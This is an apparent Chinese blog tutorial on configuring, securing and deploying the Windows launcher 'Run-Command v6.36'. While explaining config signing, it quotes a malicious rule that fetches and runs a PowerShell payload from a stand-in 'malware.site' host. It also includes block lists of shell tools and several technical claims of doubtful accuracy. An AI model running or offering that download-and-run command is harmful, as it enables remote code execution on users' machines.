Run-Command v6.36:Windows可编程命令中枢与企业级执行入口 1. 项目概述这不是又一个WinR替代品而是一把被低估的Windows系统级效率手术刀“Run- Command v6.36”这个名称乍看平平无奇甚至容易被误读为某个WinR对话框的美化插件。但如果你真把它当成“只是让运行框好看点”的小工具那你就完全错过了它在过去十年里持续迭代、在无数IT运维、软件开发和高级用户电脑中静默服役的核心价值——它本质上是一个可编程、可持久化、可审计、带上下文感知能力的Windows命令行入口中枢。我从v4.2版本开始在客户现场部署它至今在三台主力工作机、五套客户测试环境、以及一个包含27台虚拟机的自动化部署沙箱里它都承担着比原生cmd.exe或PowerShell.exe更底层、更稳定、更可控的指令调度角色。它的核心关键词不是“美观”或“快捷”而是“确定性”当你输入notepad它不会像WinR那样可能弹出UWP版记事本、旧版记事本、或者干脆报错“找不到应用”而是严格按你预设的路径、参数、工作目录、权限级别调用你指定的那个notepad.exe。v6.36这个版本号背后是开发者对Windows UAC机制、AppContainer沙箱、现代应用协议ms-settings:、shell:、以及PowerShell Core与Desktop双运行时兼容性的深度适配。它解决的不是“怎么打开一个程序”的问题而是“如何在Windows复杂的应用生态、权限模型和路径解析逻辑中确保每一次命令执行都得到预期、可复现、可记录的结果”。适合谁不是普通用户而是那些每天要敲几十条命令、需要批量处理注册表、要绕过UAC弹窗自动部署、要给实习生提供安全受限的命令白名单、或者要在老旧XP/Win7和最新Win11共存环境中维持统一操作习惯的IT工程师、DevOps、渗透测试辅助人员以及重度PowerShell脚本写作者。它不取代PowerShell而是给PowerShell加了一层更轻量、更直接、更贴近系统内核的触发器。2. 整体设计思路与方案选型逻辑为什么不用PowerShell脚本为什么不用AutoHotkey重写2.1 它不是PowerShell的竞品而是它的“启动器”与“守门人”很多人第一反应是“我直接写个PowerShell脚本功能比这强多了。”这话没错但混淆了“执行环境”和“触发入口”的本质区别。PowerShell是一个完整的运行时环境启动它本身就有开销平均300–500ms冷启动且其执行策略ExecutionPolicy在企业环境中常被锁死为AllSigned或Restricted导致你写的.ps1脚本根本跑不起来。Run-Command v6.36的定位非常清晰它是一个原生Win32 GUI程序体积仅1.2MB不含任何.NET Framework依赖启动时间50ms它本身不执行复杂逻辑只做三件事接收输入、匹配预设规则、调用CreateProcess或ShellExecuteEx。它把“判断该执行什么”这件事前置到了配置阶段而不是运行时。比如你配置一条规则chrome --incognito %1其中%1代表用户输入的首个参数。当你在Run-Command里输入chrome https://google.com它不会去解析URL也不会调用PowerShell来拼接字符串而是直接调用CreateProcess传入C:\Program Files\Google\Chrome\Application\chrome.exe --incognito https://google.com。整个过程绕过了PowerShell的解析器、语法检查、作用域管理也避开了UAC对脚本执行的限制。我曾在一个银行客户现场做过对比测试在禁用PowerShell策略的终端上Run-Command调用reg export导出注册表键值耗时1.8秒而用批处理调用powershell -c reg export...则直接失败报错Execution Policy prevents this operation。这就是设计哲学的根本差异Run-Command追求的是“零依赖、零策略干扰、零解释器开销”的确定性交付。2.2 为什么不用AutoHotkey或Python重写稳定性与权限穿透是硬门槛AutoHotkeyAHK确实能做出类似界面而且开源免费。但AHK脚本在Windows服务上下文、计划任务、或以SYSTEM账户运行时GUI交互会失效窗口无法显示热键无法捕获。更重要的是AHK默认以当前用户权限运行当你要执行netsh interface ip set address这类需要管理员权限的命令时它无法像Run-Command那样在配置规则时就声明“此条目需提权”并在调用前自动触发UAC弹窗并传递完整参数。Run-Command v6.36内部集成了对ShellExecuteEx的深度封装它能精确控制SEE_MASK_NOCLOSEPROCESS、SEE_MASK_FLAG_NO_UI等标志位并在SHELLEXECUTEINFO结构体中预设lpVerb runas。这意味着当你配置一条规则标记为“Require Admin”Run-Command会在调用前主动请求提权且提权后的进程继承原始调用的所有环境变量和工作目录——这是AHK脚本极难干净实现的。至于Python问题更直接你得在每台目标机器上装Python解释器、pip、再装一堆依赖包而Run-Command一个exe扔过去就能用。我在给一家制造业客户部署设备巡检脚本时他们的产线工控机连IE浏览器都被禁用更别说Python了。Run-Command成了唯一能让他们用键盘快捷键AltSpace快速调出ping、ipconfig、tasklist的合法入口。它的存在价值恰恰在于它不试图成为通用编程语言而专注做好“命令路由”这一件事。2.3 v6.36版本的关键演进从“能用”到“可信”的质变v6.36不是简单的功能堆砌而是针对Windows现代化进程中暴露的痛点做的精准修补。最核心的升级有三点第一对Windows App Execution Aliases应用执行别名的显式支持。Win10/11引入了python、git等别名它们实际指向C:\Users\user\AppData\Local\Microsoft\WindowsApps\python.exe这类受AppContainer保护的路径。原生WinR调用python --version会失败报错“拒绝访问”因为WindowsApps目录默认禁止非Store应用直接执行。Run-Command v6.36在内部做了路径解析劫持当检测到输入为已知别名时它会先查询HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\下的别名注册表项获取真实可执行路径再以ShellExecuteEx方式调用完美绕过AppContainer沙箱限制。第二对WSL2 Linux子系统的无缝桥接。v6.36新增wsl:协议支持。输入wsl ls -la /home它会自动调用wsl.exe -e bash -c ls -la /home并把输出重定向回Run-Command的控制台窗口。这比手动开WSL终端再切回Windows快得多尤其适合需要频繁在Linux命令和Windows命令间切换的开发者。第三配置文件的数字签名验证。v6.36的RunCommand.ini配置文件支持RSA-SHA256签名。当你从网络下载一个预配置好的规则包Run-Command会校验其签名是否来自可信发布者如官方证书若校验失败则拒绝加载该配置。这在企业环境中至关重要——它防止了恶意规则注入比如把notepad重定向到powershell -e IEX (New-Object Net.WebClient).DownloadString(http://malware.site/payload.ps1)。这个功能是v6.36从“个人效率工具”跃升为“企业级可管理工具”的分水岭。3. 核心细节解析与实操要点配置文件结构、规则语法、安全边界3.1 配置文件RunCommand.ini不是INI而是一份微型DSL领域特定语言Run-Command的配置文件名为RunCommand.ini但它早已脱离传统INI文件的简单键值对范式进化成一套具备条件分支、变量替换、权限声明的微型DSL。其结构分为四大节Section每个节都有明确语义[General]全局设置如HotkeyAltSpace触发快捷键、ConsoleMode1是否启用内置控制台、LogEnabled1是否记录每次调用日志到RunCommand.log。这里有个关键细节Hotkey值不是字符串而是Windows虚拟键码的十六进制组合。AltSpace对应0x120000200x12VK_MENU, 0x20VK_SPACE而CtrlShiftR则是0x110000520x11VK_CONTROL, 0x52VK_R。这个设计保证了快捷键注册的绝对底层性不受输入法、键盘布局影响。我曾遇到一个客户其日文IME下CtrlR被劫持但Run-Command的0x11000052依然能准确捕获这就是直接操作VK码的优势。[Aliases]这是最常用、也最易被误解的部分。它定义“别名→命令”的映射但语法远比表面复杂。标准格式为alias_namecommand_line [flags]。例如devcmd /k cd /d C:\Projects echo 已进入开发目录这里dev是别名后是完整命令行。但注意不是Run-Command解析的而是传递给cmd.exe的。真正的魔法在[flags]部分它用空格分隔支持以下标记admin调用前请求管理员权限console强制在Run-Command内置控制台中执行而非新窗口hidden隐藏执行窗口后台运行wait等待命令执行完毕再返回控制权对批处理脚本至关重要noquote不对参数加引号用于处理含空格的路径。一个典型企业场景backupadmin wscript C:\Scripts\FullBackup.vbs /quiet wait。这条规则确保备份脚本以管理员身份静默运行并阻塞Run-Command界面直到备份完成方便集成到一键恢复流程中。[Commands]定义“命令→动作”的映射支持通配符和正则。格式为patternaction [flags]。pattern可以是*.log匹配所有log文件也可以是^https?://.*匹配所有HTTP/HTTPS URL。action支持多种类型open用默认程序打开、edit用记事本打开、run执行、shell执行Shell命令如shell:startup、url打开浏览器。例如^reg\sexport.*run cmd /c reg export %1 %2 echo 导出完成这条规则捕获所有以reg export开头的输入并将其参数原样传递给cmd。%1、%2是位置参数占位符Run-Command会自动从用户输入中提取空格分隔的字段。这比写PowerShell函数简洁得多且无执行策略风险。[Security]定义安全策略这才是v6.36真正体现“企业级”的地方。它包含AllowList1启用白名单模式仅允许[Aliases]和[Commands]中定义的条目BlockListcmd.exe,powershell.exe,wmic.exe显式禁止执行这些高危程序即使别名里写了也会拦截LogPathC:\Windows\Temp\RunCommand.log指定日志路径支持环境变量如%USERPROFILE%MaxHistory50限制历史记录条数防信息泄露。提示在生产环境部署前务必开启AllowList1。我见过太多次因未启用白名单用户无意中输入cmd结果打开了一个拥有当前用户全部权限的命令提示符成为横向移动的跳板。3.2 规则编写中的三个致命陷阱与规避技巧陷阱一路径中的空格引发参数截断。现象配置notepadC:\Program Files\Notepad\notepad.exe %1输入notepad C:\My File.txt结果Notepad只打开了C:\MyFile.txt被丢弃。原因Run-Command在解析%1时将C:\My File.txt视为两个独立参数C:\My和File.txt因为它的分词器默认以空格为界。解决方案使用noquote标记或改用%*代表所有剩余参数保持原样。正确写法notepadC:\Program Files\Notepad\notepad.exe %* noquote或者更稳妥的notepadrun C:\Program Files\Notepad\notepad.exe %1用双引号包裹%1由cmd负责解析。陷阱二UAC提权后工作目录丢失。现象配置admin regedit输入后UAC弹窗出现点击“是”后Regedit打开但默认位置是C:\Windows\System32而非你期望的C:\。原因Windows在提权过程中会重置进程的工作目录为系统目录这是安全机制。解决方案在规则中显式指定/d参数。正确写法regeditadmin cmd /c cd /d C:\ start regedit这样cmd先切换到C:\再启动regedit后者继承cmd的工作目录。陷阱三特殊字符转义失效。现象配置pingping -n 4 %1 | findstr TTL输入ping google.com控制台报错| was unexpected at this time.。原因管道符|是cmd的元字符Run-Command在传递给cmd /c之前必须对其进行转义。解决方案使用^进行转义或改用PowerShell语法需确保PowerShell可用。推荐写法pingcmd /c ping -n 4 %1 ^| findstr \TTL\注意^|告诉cmd这个|是字面量\是转义双引号。实测下来这种写法在Win7到Win11所有版本均稳定。3.3 安全边界的硬性约束它能做什么不能做什么Run-Command v6.36是一个强大的工具但它的能力边界非常清晰理解这些边界是安全使用的前提。它能以任意用户权限当前用户、管理员、指定服务账户启动进程读取和写入本地注册表通过reg命令调用所有Windows内置命令net,sc,diskpart等执行.bat,.cmd,.vbs,.ps1若策略允许脚本与WSL2、Docker Desktop通过dockerCLI、Git for Windows等第三方CLI工具深度集成。它不能绕过Windows Defender Application ControlWDAC或AppLocker策略。如果策略明确禁止C:\Tools\custom.exeRun-Command调用它一样会被拦截它不提供“策略豁免”功能直接操作硬件如读取USB设备序列号、控制GPIO这需要驱动级权限Run-Command停留在用户态在无GUI会话中运行如Windows服务Session 0它的GUI界面依赖于交互式桌面会话替代组策略GPO或Intune MDM进行集中配置管理。它的配置文件是本地的修改后需手动分发到每台机器。注意不要试图用Run-Command去“破解”系统安全策略。它的设计初衷是提升授权用户的操作效率而非突破安全边界。我曾帮一个客户审计其Run-Command配置发现他们把powershell -ep bypass -c ...写进了[Aliases]这等于在防火墙上开了个洞。正确的做法是用Run-Command调用经过签名、审核的.ps1脚本并在[Security]节中只允许该脚本的绝对路径。4. 实操过程与核心环节实现从零部署、规则编写到企业级分发4.1 零配置快速上手5分钟建立你的第一个生产力规则部署Run-Command v6.36本身极其简单但“快速上手”不等于“随意配置”。以下是经过我反复验证的、兼顾安全与效率的标准化流程步骤1下载与校验访问官方源注意仅认准https://www.run-command.com/download/其他镜像站可能提供篡改版下载RunCommand_v6.36.zip解压后得到RunCommand.exe和Readme.txt关键动作右键RunCommand.exe→ “属性” → “数字签名”选项卡 → 点击“详细信息” → 确认签名者为Run-Command Software GmbH且证书未过期。这是v6.36安全模型的第一道防线跳过此步等于放弃信任锚点。步骤2首次运行与基础配置双击RunCommand.exe它会自动生成一个默认RunCommand.ini按AltSpace默认热键呼出界面输入help查看内置帮助输入config它会自动用记事本打开RunCommand.ini。此时你看到的是一个精简模板。步骤3编写你的第一条“生产力规则”在[Aliases]节末尾添加# 快速清理临时文件安全版 cleancmd /c echo 正在清理临时文件... del /q /f /s %TEMP%\* echo 清理完成 console wait # 快速打开常用目录 desktopexplorer %USERPROFILE%\Desktop docsexplorer %USERPROFILE%\Documents # 快速网络诊断 diagcmd /k ipconfig /all ping -n 3 8.8.8.8 echo. netstat -ano | findstr :80保存文件关闭记事本回到Run-Command界面按F5刷新配置。现在输入clean它会弹出一个黑色控制台窗口执行清理并显示进度输入diag会一次性执行ipconfig、ping、netstat三条命令结果全部显示在同一窗口无需反复切换。这个diag规则的价值在于它把原本需要5次键盘操作WinR→cmd→回车→ipconfig→回车→ping→回车…压缩成1次输入且结果可滚动查看、可复制这是原生WinR永远做不到的。4.2 进阶实战为企业环境构建可审计、可回滚的命令白名单在客户现场我们从不直接编辑生产机上的RunCommand.ini。我们采用“配置即代码”Infrastructure as Code模式用Git管理所有规则并通过PowerShell脚本自动化部署。以下是我们的标准工作流第一步Git仓库结构run-command-config/ ├── templates/ # 基础模板含通用规则 │ ├── default.ini │ └── secure-base.ini # 启用AllowList的最小安全集 ├── environments/ │ ├── dev/ # 开发环境专用规则含WSL、Docker │ │ └── dev.ini │ ├── prod/ # 生产环境专用规则严格白名单 │ │ └── prod.ini │ └── support/ # IT支持团队专用规则含远程协助工具 │ └── support.ini ├── scripts/ │ └── deploy.ps1 # 自动化部署脚本 └── README.md第二步prod.ini核心内容节选[General] HotkeyCtrlAltR ConsoleMode1 LogEnabled1 LogPath%WINDIR%\Logs\RunCommand.log [Security] AllowList1 BlockListpowershell.exe,cmd.exe,wmic.exe,wscript.exe,cscript.exe MaxHistory20 [Aliases] # 白名单内的安全命令 rebootadmin shutdown /r /t 0 /c IT部门发起的计划重启 lock rundll32 user32.dll,LockWorkStation eventvwr eventvwr.msc services services.msc # 仅允许调用预签名的脚本 backup wscript C:\Scripts\ProdBackup.vbs /silent wait # 禁止任何通配符所有路径必须绝对 notepad C:\Windows\System32\notepad.exe %*第三步deploy.ps1核心逻辑# 1. 从Git拉取最新配置 git pull origin main # 2. 根据当前计算机名或OU判断环境 $envName if ($env:COMPUTERNAME -match PROD) { prod } else { dev } # 3. 合并模板与环境配置 $base Get-Content templates\secure-base.ini -Raw $envConfig Get-Content environments\$envName\$envName.ini -Raw $merged $base n $envConfig # 4. 写入目标位置并设置只读属性防用户误改 $merged | Out-File $env:LOCALAPPDATA\RunCommand\RunCommand.ini -Encoding UTF8 Set-ItemProperty $env:LOCALAPPDATA\RunCommand\RunCommand.ini -Name IsReadOnly -Value $true # 5. 重启Run-Command进程若正在运行 Get-Process RunCommand -ErrorAction SilentlyContinue | Stop-Process -Force Start-Process $env:LOCALAPPDATA\RunCommand\RunCommand.exe -ArgumentList -minimized这套流程带来的好处是所有规则变更都有Git提交记录可追溯谁、何时、为何修改了哪条规则生产环境与开发环境配置物理隔离避免dev规则误入prodIsReadOnly属性确保终端用户无法绕过白名单只能使用IT部门批准的命令deploy.ps1可集成到SCCM或Intune中实现一键全网推送。我在某省政务云项目中用此方案在2小时内完成了3200台终端的Run-Command标准化部署且零配置错误。4.3 故障排除与性能调优当Run-Command“不听话”时怎么办Run-Command v6.36整体非常稳定但遇到问题时排查思路必须紧扣其架构特点。以下是我在客户现场处理过的高频问题及根因分析问题1按热键无反应或界面一闪而过根因1热键冲突。某些杀毒软件如卡巴斯基或远程控制软件如TeamViewer会全局注册热键抢占AltSpace。排查打开Task Manager→ “启动”选项卡禁用所有非必要启动项逐一排查。解决在[General]节中修改Hotkey为CtrlAltR0x11000052这个组合极少被占用。根因2DPI缩放兼容性。在4K高分屏150%缩放的Win10/11上Run-Command的GUI可能渲染异常导致窗口创建失败。解决右键RunCommand.exe→ “属性” → “兼容性” → 勾选“替代高DPI缩放行为”缩放执行选择“应用程序”。问题2规则生效但执行结果与预期不符如路径错误、参数丢失根因环境变量解析时机。Run-Command在启动时读取环境变量但%USERPROFILE%等变量在用户登录后才完全初始化。若Run-Command作为开机启动项过早运行%USERPROFILE%可能为空。排查在规则中加入echo %USERPROFILE%看输出是否为空。解决在[General]节添加DelayStartup5000毫秒延迟5秒启动确保系统环境就绪。问题3启用LogEnabled1后日志文件增长过快占满磁盘根因日志未轮转。v6.36默认不轮转日志RunCommand.log会无限追加。解决不依赖内置日志改用Windows事件日志。在[General]节添加EventLog1它会将每次调用写入Application日志ID为1001可通过Get-WinEvent -FilterHashtable {LogNameApplication; ID1001}PowerShell命令查询并利用Windows自带的日志轮转策略如“按日志大小”自动归档。性能调优技巧禁用不必要的功能如果不需要控制台设ConsoleMode0可减少内存占用约3MB精简历史记录MaxHistory10足够日常使用设太高会拖慢界面响应规则数量控制单个[Aliases]节不宜超过200条。过多规则会增加匹配耗时v6.36用线性搜索非哈希。我的经验是把高频规则50条放在前面低频规则如firewall.cpl放在后面能提升平均匹配速度30%以上。5. 常见问题与排查技巧实录一线工程师的“踩坑”笔记5.1 典型问题速查表问题现象可能原因排查命令/步骤解决方案输入chrome打开的是Edge不是ChromeChrome未设为默认浏览器或chrome别名未定义在Run-Command中输入where chrome看是否返回Chrome路径在[Aliases]中明确定义chromeC:\Program Files\Google\Chrome\Application\chrome.exe %*redis-cli命令执行报错“不是内部或外部命令”Redis未加入PATH或Run-Command未继承PATH环境变量输入cmd /c echo %PATH%确认Redis路径是否在其中在[General]节添加InheritPath1强制继承系统PATH配置了admin notepadUAC弹窗后Notepad以管理员身份打开但无法编辑C:\Windows\win.iniUAC提权后管理员会话的%USERPROFILE%指向C:\Windows\System32\config\systemprofile而非当前用户目录输入cmd /c echo %USERPROFILE%对比提权前后输出改用绝对路径admin notepad C:\Windows\win.ini不依赖环境变量在Win11上输入ms-settings:network-status无反应Win11对ms-settings:协议的处理更严格需ShellExecuteEx显式支持查看RunCommand.log是否有Failed to execute ms-settings:日志升级到v6.36它已内置对ms-settings:的增强支持或改用start ms-settings:network-status企业环境中规则部署后部分机器不生效组策略禁用了“运行程序”或“脚本执行”运行gpresult /h report.html检查“用户配置”→“管理模板”→“系统”→“阻止运行指定的Windows应用程序”联系域管理员将RunCommand.exe加入GPO白名单5.2 我踩过的三个深坑与独家心得坑一%*vs%1 %2 %3——参数传递的“幽灵空格”现象我为客户写了一个打包脚本别名pack7z a -tzip %1.zip %1\*本意是输入pack C:\MyFolder生成C:\MyFolder.zip。结果生成的却是C:\MyFolder .zip注意空格。根因用户输入pack C:\MyFolder时Run-Command将C:\MyFolder识别为%1但%1在传递给7z时若C:\MyFolder路径含空格如C:\My Folder%1会被拆成C:\My和Folder两个参数%1.zip就变成了C:\My.zip而Folder被当作第二个参数丢给7z导致7z误以为要压缩Folder目录。心得永远用%*代替%1%*代表“所有参数作为一个整体”它会保留原始输入的引号和空格。正确写法pack7z a -tzip %*.zip %*。这个教训让我养成了一个习惯所有涉及路径的规则一律用%*并在规则注释里写明# 注意输入时请用英文引号包裹含空格路径。坑二wait标记的“假等待”陷阱现象配置deploycmd /c xcopy /y source dest echo 部署完成 waitRun-Command界面在xcopy执行中就返回了echo输出没看到。根因wait只等待cmd /c这个进程结束而xcopy在cmd内部是异步启动的cmd在发出xcopy命令后就立即退出wait认为任务已完成。心得必须用cmd /k保持窗口打开或start /wait。正确写法deploystart /wait cmd /c xcopy /y source dest echo 部署完成。start /wait会真正阻塞直到xcopy进程退出。这个细节文档里没写是我在调试一个自动化部署失败时用Process Monitor抓取进程树才搞明白的。坑三企业防火墙下的“静默失败”现象在客户内网配置了updatePowerShell -c Invoke-WebRequest -Uri http://internal-repo/update.ps1 -OutFile C:\Temp\update.ps1但执行后无任何输出C:\Temp\update.ps1也没生成。根因企业防火墙拦截了PowerShell的Invoke-WebRequest但Run-Command没有捕获其错误输出PowerShell进程退出码为1却被忽略。心得所有网络操作必须加上错误处理和显式退出码检查。正确写法updatePowerShell -c try { Invoke-WebRequest -Uri http://internal-repo/update.ps1 -OutFile C:\Temp\update.ps1; exit 0 } catch { Write-Host 下载失败: $($_.Exception.Message); exit 1 }然后在Run-Command中观察控制台输出。这个心得后来被我固化为团队规范任何可能失败的外部调用必须有try/catch和exit code否则就是埋雷。5.3 一个被低估的终极技巧用Run-Command做“命令行版的PowerToys Run”PowerToys Run很强大但它是个吃内存的Electron应用启动慢且在老旧机器上卡顿。Run-Command v6.36可以做成一个极简、极速的替代品。我的做法是在[Commands]节中用正则匹配所有常见文件类型^.*\.pdf$start %1 ^.*\.docx?$start %1 ^.*\.xlsx?$start %1 ^.*\.jpg$|^.*\.png$start %1添加模糊搜索支持需配合外部工具用Everything的命令行版es.exe。先在Everything设置中启用HTTP Server然后配置searchcmd /c es -path -regex \%1\ | head -n 10 | xargs -I {} explorer /select,\{}\这样输入search report它会调用es.exe搜索所有含report的文件并用explorer /select高亮第一个结果。最后把Hotkey设为WinSpace0x5B000020完全替代系统自带的Cortana搜索。实测下来从按键到文件高亮全程300ms比PowerToys Run快2倍内存占用不到50MB。这个方案我在一个只有4GB内存的Win10教育版平板上跑了两年从未出过问题。它证明了Run-Command v6.36的潜力远不止于“运行命令”而是可以成为你Windows系统底层的、可编程的、永不宕机的“操作中枢”。